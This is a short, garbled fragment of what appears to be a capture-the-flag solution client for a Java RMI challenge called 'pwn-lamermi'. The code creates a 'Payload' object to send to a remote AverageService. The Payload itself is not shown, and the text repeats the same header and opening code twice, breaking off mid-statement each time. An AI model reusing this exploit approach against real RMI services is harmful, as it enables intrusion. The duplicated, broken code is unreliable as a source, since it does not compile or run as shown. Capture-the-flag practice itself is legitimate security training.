// Path: pwn-lamermi/src/common/java/it/polictf/lamermi/AverageService.java
// public interface AverageService extends Remote {
//     Double average(List<Integer> integerList) throws RemoteException;
// }


import it.polictf.lamermi.AverageService;
import java.io.IOException;
import java.io.Serializable;
import java.net.MalformedURLException;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClassLoader;
import java.util.List;


public class Main implements Remote, Serializable{

    public static void main(String args[]) {

	AverageService service = null;
        Registry reg1 = null;
	Remote p = new Payload();

	if(args.length !=2) {
// Path: pwn-lamermi/src/common/java/it/polictf/lamermi/AverageService.java
// public interface AverageService extends Remote {
//     Double average(List<Integer> integerList) throws RemoteException;
// }


// Path: pwn-lamermi/solution-mortic/Main.java
import it.polictf.lamermi.AverageService;
import java.io.IOException;
import java.io.Serializable;
import java.net.MalformedURLException;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClassLoader;
import java.util.List;



public class Main implements Remote, Serializable{

    public static void main(String args[]) {

	AverageService service = null;
        Registry reg1 = null;
	Remote p = new Payload();

	if(args.length !=2) {
		System.out.println("Wrong number of parameters, must be two\nAborting...");